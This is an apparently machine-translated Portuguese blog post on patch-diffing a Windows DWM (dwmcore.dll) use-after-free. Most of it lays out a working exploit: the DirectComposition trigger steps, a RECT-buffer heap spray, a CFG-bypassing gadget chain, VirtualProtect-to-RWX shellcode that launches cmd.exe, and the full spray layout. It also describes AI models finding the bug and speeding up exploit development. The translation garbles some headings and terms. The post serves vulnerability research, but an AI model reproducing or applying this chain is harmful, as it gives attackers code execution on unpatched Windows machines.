Intro
A comparação de patches sempre me fascinou. Acho que parte disso tem a ver com a corrida contra o tempo, a reversão de falhas, a exploração de vulnerabilidades e a tentativa de alcançar o status de exploit de "1 dia". Para alvos Windows avançados, Valentina Palmiotti e Ruben Boonen provaram que isso já era possível há quase 3 anos. Mas eles estão entre os desenvolvedores de exploits mais talentosos do mundo. Será que os mestrados em direito podem elevar o nível de competência mínimo para nós, meros mortais? Felizmente, e talvez de forma um pouco alarmante, a resposta é sim.
A Caçada
Quando o boletim do Patch Tuesday de 2026 foi divulgado, iniciei minha busca para identificar uma das vulnerabilidades corrigidas e (com sorte) desenvolver um exploit funcional para ela. No topo da lista de alvos estavam quaisquer vulnerabilidades já conhecidas por serem exploradas na prática. As atualizações de janeiro incluíam uma vulnerabilidade de vazamento de informações em uso no Gerenciador de Janelas da Área de Trabalho (DWM), que me chamou a atenção. Incluía também uma segunda vulnerabilidade no DWM que poderia levar à escalada de privilégios locais. Historicamente, a DWM tem sido um alvo frequente de escalada de privilégios locais. Às vezes, pode ser complicado identificar o componente exato que foi modificado, mas para o DWM, o arquivo dwmcore.dll é sempre uma aposta segura.
Após treinar o Ghidra nos arquivos e extrair os vetores BSim para cada função, torna-se bastante fácil destacar as diferenças entre elas. Sem mencionar que muitas vulnerabilidades corrigidas pela Microsoft vêm acompanhadas de novas flags de recursos. Como era de se esperar, o Opus 4.5 analisou as diferenças rapidamente e identificou uma das vulnerabilidades em questão de minutos.
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
A partir daqui, devo dizer que o tempo necessário para desenvolver um exploit funcional foi dolorosamente mais lento do que eu esperava. Passei muitas noites e fins de semana a fio aperfeiçoando e aprimorando o modelo. Boa parte disso se deveu à minha própria falta de familiaridade com a classe e o subsistema de bugs. Por fim, conseguimos prevalecer e obter execução remota de código (RCE) com privilégios baixos no DWM e no SYSTEM. Durante o processo, descobri várias técnicas de exploração inéditas, como o spray GetRECT, novas cadeias de gadgets e um caminho DWM-para-SYSTEM. No entanto, com essas técnicas (e algumas outras ferramentas) em mãos e versões de modelos mais recentes como o Opus 4.6, o tempo desde a descoberta de uma vulnerabilidade UAF no DWM até a exploração funcional caiu de 3 semanas para questão de horas.
O inseto
A vulnerabilidade é um Use-After-Free em CSynchronousSuperWetInk::~CSynchronousSuperWetInk. O destrutor remove condicionalmente o objeto de CSuperWetInkManager com base no valor de retorno de IsSuperWetCompatible().
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
O destrutor vulnerável está presente na versão 10.0.26100.7309 do arquivo dwmcore.dll.
Condição compatível com IsSuperWet
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
A condição IsSuperWetCompatible em dwmcore.dll versão 10.0.26100.7309.
A função retorna true somente quando LookupMode é igual a 2, ou notifier1 está definido, E ambos clipEntry e comObject não são nulos.
O inseto
Um atacante pode:
- Registre um
CSynchronousSuperWetInkcom o gerenciador (requerLookupMode=2duranteDraw()) - Alterar
LookupModepara 0 através deCMD_SET_PROPERTY - Desencadear destruição através de
CMD_RELEASE_RESOURCE IsSuperWetCompatible()retorna FALSE →RemoveSource()é ignorado- Um ponteiro pendurado permanece em
CSuperWetInkManager::localStrokesVector
Quando o DWM itera posteriormente sobre este vetor (por exemplo, em DirtyActiveInk), ele desreferencia a vtable do objeto liberado, levando à execução controlada do código.
A correção
O patch adiciona um sinalizador de recurso (Feature_1732988217). Quando ativado, RemoveSource() é chamado incondicionalmente, independentemente de IsSuperWetCompatible(). Isso garante que o objeto seja sempre devidamente desregistrado do gerenciador durante a destruição, eliminando o ponteiro pendente.
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
O destrutor corrigido está presente na versão 10.0.26100.7623 do dwmcore.dll.
A façanha
O UAF pode ser acionado a partir de um aplicativo de modo de usuário comum por meio da API DirectComposition. O ataque não requer privilégios especiais.
Pré-requisitos
- Infraestrutura D3D11/DXGI: Crie um dispositivo D3D11 com suporte a BGRA e uma cadeia de troca para uma janela visível.
- Dispositivo DirectComposition: Inicialize via
DCompositionCreateDevice()com o dispositivo DXGI. - Acesso à chamada de sistema NtDComposition: Conecte ou chame diretamente
NtDCompositionProcessChannelBatchBuffereNtDCompositionCommitChannelviawin32u.dllpara injetar comandos brutos do buffer de lote.
Sequência de disparo
Passo 1: Criar rastro de tinta (Alocar CSynchronousSuperWetInk)
Consulte IDCompositionInkTrailDevice do dispositivo DirectComposition e, em seguida, chame CreateDelegatedInkTrailForSwapChain() ou CreateDelegatedInkTrail(). Isso aloca um objeto CSynchronousSuperWetInk (tipo de recurso 0xa8) no heap do dwm.exe.
Etapa 2: Crie o visual e defina LookupMode=2
Injetar comandos de buffer em lote em:
- Crie um
CSuperWetInkVisual(tipo0xa5) comCMD_CREATE_RESOURCE(0x02) - Conectar visual à fonte de tinta:
CMD_SET_REFERENCE(0x10) com propId0x34 - Defina
LookupMode=2na fonte de tinta viaCMD_SET_PROPERTY(0x0B) com propId10 - Conectar à árvore de composição:
CMD_SET_REFERENCEaos identificadores 1 e 2 (alvo/serializador de composição) com propId0x34
LookupMode=2 garante que IsSuperWetCompatible() retorne TRUE durante Draw(), o que registra o objeto com CSuperWetInkManager::localStrokesVector.
Etapa 3: Renderizar quadros para registro no gerenciador
Apresentar múltiplos frames (IDXGISwapChain::Present) e confirmar alterações de DirectComposition. Isso aciona o loop de renderização do DWM, que chama a infraestrutura de tinta e registra o ponteiro CSynchronousSuperWetInk no vetor interno do gerenciador.
Passo 4: Defina LookupMode=0 (Ignorar verificação de remoção)
Injete CMD_SET_PROPERTY para alterar LookupMode para 0. Agora IsSuperWetCompatible() retornará FALSO porque:
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
Com LookupMode = 0 e nenhum notificador, a primeira condição falha.
Passo 5: Liberar o rastro de tinta (criar ponteiro pendente)
- Desconectar referências visuais:
CMD_SET_REFERENCEcom refHandle=0 para todas as conexões - Libere a interface
IDCompositionDelegatedInkTrail
Quando o destrutor ~CSynchronousSuperWetInk é executado:
- Ele chama
IsSuperWetCompatible()que retorna FALSE (LookupMode=0) RemoveSource()é IGNORADO- O objeto é liberado, mas seu ponteiro permanece em
CSuperWetInkManager::localStrokesVector
Etapa 6: Acionar DirtyActiveInk (Uso após liberação)
Continue apresentando frames e invalidando a janela. O loop de composição do DWM chama CSuperWetInkManager::DirtyActiveInk(), que itera sobre localStrokesVector e desreferencia o ponteiro pendente:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
Comportamento em caso de colisão
Sem um heap spray, o DWM trava ao acessar memória liberada:
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
Se a memória liberada for recuperada por outro objeto (por exemplo, CInteractionTrackerScaleAnimation), a falha ocorrerá em uma vtable inesperada:
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
Ao controlar quais dados recuperam a alocação liberada, um atacante pode criar uma vtable falsa e obter execução de código arbitrário por meio da chamada virtual em vtable+0x50.
Pulverização de monte
Para explorar o UAF, devemos recuperar a alocação CSynchronousSuperWetInk liberada com dados controlados pelo atacante contendo uma vtable falsa. Esta seção documenta a técnica de pulverização de buffer RECT CRegionGeometry que denominamos GetRECT.
Propriedades do objeto de destino
| Propriedade | Value |
|---|---|
| Objeto | CSynchronousSuperWetInk |
| Tamanho | 0x120 (288 bytes) |
| Alocador | DefaultHeap::AllocClear → GetProcessHeap() |
| Balde LFH | 34 (intervalo de 273 a 288 bytes) |
| Slots por subsegmento | 57 |
Primitiva de pulverização: Buffer RETÂNGULO CRegionGeometry
O spray utiliza recursos CRegionGeometry (tipo 0x81) com dados de matriz RECT:
| Propriedade | Value |
|---|---|
| Tipo de recurso | 0x81 (CRegionGeometry) |
| Tamanho do spray | 18 retângulos × 16 bytes = 288 bytes |
| Alocador | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| Balde LFH | 34, igual ao alvo |
| Controle de conteúdo | 72 valores int32 (18 campos RECTs × 4 ) |
Cadeia de alocação:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
O buffer RECT é escrito através de CMD_SET_BUFFER_PROPERTY (0x0F) com propId 5:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
Layout retangular para objeto falso
Os retângulos 18 (288 bytes) fornecem controle total sobre a memória recuperada:
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
Função auxiliar para escrever valores de 64 bits em campos RECT adjacentes:
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
Exploração Primitiva
O UAF nos fornece uma chamada de tabela virtual controlada com RCX apontando para o objeto pulverizado. Quando DirtyActiveInk itera sobre o ponteiro pendente:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
Pilha de chamadas do site:
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
Registre o estado no despacho:
RCX= ponteiro para o objeto pulverizado (nossos 288 bytes controlados)RIP=[[spray]+0x50](ponteiro de função da tabela virtual falsa)
Restrições da função alvo
Inicialmente, existem duas restrições sobre o que podemos chamar de:
- O alvo deve estar no bitmap CFG (marcado como alvo de chamada válido).
- O alvo deve ter um ponteiro para ele (na IAT, vtable ou outra memória legível).
Não podemos chamar diretamente endereços arbitrários; apenas funções que satisfaçam ambas as condições.
Cadeia de Gadgets: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect
Com o UAF nos dando uma chamada de vtable controlada (RIP = [[spray]+0x50], RCX = spray), o desafio restante é encadear gadgets válidos para CFG para alcançar a execução de código arbitrário. A execução direta de shellcode é bloqueada pelo CFG e não temos vazamento de endereço de heap. Desenvolvemos uma nova cadeia de dispositivos que resolve ambos os problemas para alcançar a execução de código, mas foram necessárias 2 tentativas de exploração bem-sucedidas, diminuindo a confiabilidade. Portanto, recorremos a uma técnica pública conhecida usando dois gadgets DLL do sistema Windows: __fnINSTRING (user32.dll) e CStdAsyncStubBuffer2_Disconnect (combase.dll).
Etapa 1: __fnINSTRING - Despacho de retorno de chamada do kernel sem vazamento
O kernel do Windows comunica-se de volta ao modo de usuário através do KernelCallbackTable (KCT), uma tabela de ponteiros de função armazenada no PEB no deslocamento +0x58. Cada entrada aponta para um manipulador __fn* em user32.dll. Essas funções são alvos de chamada válidos pela CFG e possuem ponteiros para elas em memória legível (a própria KCT), satisfazendo ambas as restrições.
Apontamos a vtable falsa para &KCT[fnINSTRING_index] - 0x50. Quando DirtyActiveInk desreferencia [[spray]+0x50], ele lê a entrada KCT e despacha para __fnINSTRING:
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
O que torna isso útil é o que __fnINSTRING faz internamente. Ele trata seu argumento (nosso buffer de spray) como uma estrutura _CAPTUREBUF e chama FixupCallbackPointers antes de despachar a função interna. FixupCallbackPointers lê uma tabela de correção do buffer e converte deslocamentos relativos em endereços absolutos adicionando o endereço base do buffer:
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
Isso elimina a necessidade de um vazamento de endereço de heap. Incorporamos deslocamentos relativos no buffer de pulverização e FixupCallbackPointers os convertemos em ponteiros absolutos em tempo de execução usando o próprio endereço do buffer. Após a correção, __fnINSTRING despacha o ponteiro de função interna em +0x48 com os argumentos em +0x28 (RCX), +0x30 (EDX), +0x38 (R8) e +0x50 (R9).
Atribuímos o valor CStdAsyncStubBuffer2_Disconnect à função interna.
Etapa 2: CStdAsyncStubBuffer2_Disconnect - Duas chamadas encadeadas de tabela virtual
CStdAsyncStubBuffer2_Disconnect é exportado de combase.dll, tornando-o válido para CFG com um endereço estável. Sua desmontagem revela uma primitiva útil: duas chamadas sequenciais à tabela virtual com registros de argumentos preservados:
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX, R8 e R9 são preservados em ambas as chamadas, chegando intactos da configuração de argumentos de __fnINSTRING. Isso nos dá controle total sobre os três primeiros argumentos de ambas as chamadas da tabela virtual.
Chamada Vtable nº 1: VirtualProtect → RWX
Construímos um objeto falso autorreferencial em +0xC8 no buffer de spray: [+0xC8] aponta para si mesmo (após a correção), então desreferenciar [RCX] → [RCX+0x20] lê o endereço de VirtualProtect de +0xE8. Os argumentos (preservados do despacho __fnINSTRING ) são:
| Inscreva-se | Value | Objetivo |
|---|---|---|
| RCX | base+0xC8 (objeto falso 1) | lpAddress (início da região de buffer de pulverização) |
| RDX | 0x1000 | tamanho dw |
| R8 | 0x40 | flNovoProteger (PAGE_EXECUTE_READWRITE) |
| R9 | base+0xC0 | lpflOldProtect (slot de saída no buffer de pulverização) |
Após essa chamada, a página de memória do buffer de pulverização é marcada como RWX e o bitmap CFG é atualizado para permitir a execução a partir dessa região.
Chamada de tabela virtual nº 2: Shellcode embutido
Após o VirtualProtect retornar, o Disconnect carrega [this+0x10] no RCX para o segundo despacho da vtable:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
A cadeia de ponteiros se resolve passo a passo:
[this+0x10]=[base+0x90]=base+0xA0(objeto_falso_2)[RCX]=[base+0xA0]=base+0xA8, ponteiro da tabela virtual de fake_obj_2 (após correção)[RAX+0x10]=[base+0xB8]=base+0xD0, terceira entrada da vtable_2, apontando para o nosso shellcode
O último CALL guard_dispatch_icall despacha para base+0xD0, nosso shellcode embutido, agora executável e válido no CFG graças à chamada VirtualProtect anterior.
Layout do Shellcode
O shellcode é dividido em duas fases porque os dados de endereço do VirtualProtect estão em +0xE8 (usado como vtable_1[0x20] pela chamada #1), criando uma lacuna no meio da nossa região executável:
Fase 1 (+0xD0, 22 bytes): Salva RCX (base+0xA0) em RBX para posterior aritmética de endereço, aloca espaço de sombra, carrega SW_SHOW (5) em RDX, carrega o endereço absoluto de WinExec via movabs RAX, e então salta sobre a lacuna de dados de 8 bytes em +0xE8:
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
Fase 2 (+0xF0): Chama WinExec com um ponteiro relativo RIPpara a string "cmd.exe\0" incorporada no final do shellcode, desativa o spray para reentrada segura e, em seguida, realiza uma correção de pilha para retornar diretamente ao loop de composição do DWM:
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
O add rsp, 0xB8 melhora a confiabilidade. Um add rsp, 0x28 ingênuo retornaria para CStdAsyncStubBuffer2_Disconnect, que então retornaria para __fnINSTRING, que chama NtCallbackReturn. Este caminho de retorno de chamada do kernel pode ser frágil no contexto de uma chamada sequestrada. Ao adicionar um 0x90 extra ao ajuste de pilha, o shellcode ignora completamente os dois quadros intermediários e retorna diretamente ao chamador de DirtyActiveInk no loop de composição DWM.
Reentrada segura: Desativando o spray
DirtyActiveInk do DWM pode iterar o ponteiro pendente mais de uma vez. Sem a desativação da bomba, cada reentrada acionaria novamente toda a cadeia de disparos e causaria uma falha. O shellcode reescreve o ponteiro da tabela virtual do spray para que as desreferências subsequentes sigam um caminho inofensivo:
[base+0x00]é sobrescrito parabase+0x08(nova vtable falsa)[base+0x58]é sobrescrito para o endereço de uma instruçãoret
Ao reentrar: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. A chamada da tabela virtual retorna imediatamente. __fnINSTRING nunca é invocado novamente porque a vtable não aponta mais para a entrada KCT.
Layout completo de pulverização
O buffer de pulverização completo de 288 bytes (18 RECTs) após FixupCallbackPointers:
| Desvio | Tamanho | Conteúdo | Objetivo |
|---|---|---|---|
| +0x00 | 8 | Entrada KCT - 0x50 | vtable falsa → __fnINSTRING |
| +0x08 | 4 | 8 | Contagem de consertos |
| +0x18 | 4 | 0x58 | Deslocamento da tabela Fixup |
| +0x20 | 8 | base (corrigida) | Guarda (bloqueia a reinstalação) |
| +0x28 | 8 | base+0x80 (corrigido) | RCX → Desconectar this |
| +0x30 | 4 | 0x1000 | EDX → VirtualProtect dwSize |
| +0x38 | 8 | 0x40 | R8 → PAGE_EXECUTE_READWRITE |
| +0x48 | 8 | Desconectar | Ponteiro de função interna |
| +0x50 | 8 | base+0xC0 (corrigido) | R9 → lpflOldProtect |
| +0x58 | 32 | tabela de correção (8 entradas) | Deslocamentos para correção |
| +0x78 | 8 | base+0xC8 (corrigido) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (não utilizado) | Desconectar base this |
| +0x90 | 8 | base+0xA0 (corrigido) | [this+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (corrigido) | tabela virtual fake_obj_2 |
| +0xB8 | 8 | base+0xD0 (corrigido) | vtable_2[0x10] → shellcode |
| +0xC0 | 4 | (saída) | VirtualProtect lpflOldProtect |
| +0xC8 | 8 | base+0xC8 (corrigido) | vtable autorreferencial (fake_obj_1) |
| +0xD0 | 22 | shellcode fase 1 | Salvar registros, carregar WinExec, pular |
| +0xE8 | 8 | &VirtualProtect | dados vtable_1[0x20] |
| +0xF0 | 48 | shellcode fase 2 | WinExec + defuse + stack fixup + "cmd.exe\0" |
Resumo da cadeia completa
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
O processo DWM é executado como o usuário DWM com integridade do sistema. As técnicas públicas anteriores para obter acesso ao SYSTEM normalmente envolviam o sequestro de ponteiros de função mapeados em processos de cliente privilegiados, como LogonUI ou Consent. No entanto, parece que essa técnica foi corrigida recentemente, já que a seção compartilhada agora está mapeada como somente leitura. Desenvolvemos um novo caminho alternativo para o SYSTEM, mas optamos por não publicar a técnica neste momento.
Considerações Finais
Os modelos que temos hoje são altamente capazes de realizar tarefas que historicamente exigiam conhecimento especializado profundo, cultivado ao longo de muitos anos. Isso inclui atividades como engenharia reversa, descoberta de vulnerabilidades e desenvolvimento de exploits. Suas capacidades são irregulares e ainda não rivalizam com as dos melhores do mundo nessas áreas. No entanto, o avanço dos modelos parece não dar sinais de desaceleração no momento. Isso nivela o campo de jogo para os defensores, mas também aumenta as capacidades dos atacantes. Embora sempre tenha existido um jogo de gato e rato entre adversários, e isso não seja novidade nesse aspecto, os atacantes têm, pelo menos a curto prazo, uma vantagem assimétrica para usar essas ferramentas para causar danos. Os atacantes podem agir mais rapidamente, com pouca preocupação com a segurança ou a proteção dos sistemas de IA. Os defensores devem aproveitar a IA para fins ofensivos contra seu código (para vulnerabilidades), produtos de segurança (para lacunas de detecção) e suas empresas (emulação de adversários) para encontrar pontos fracos e aprimorar as defesas antes que os invasores o façam. Infelizmente, podem ser as pequenas organizações sem equipes de segurança que sofrerão o impacto mais severo a curto prazo. Minha esperança é que, a longo prazo, a comunidade de segurança possa, em conjunto, investir mais do que os atacantes em pesquisa ofensiva e defensiva, e que saiamos desta era em uma situação melhor do que quando começamos.
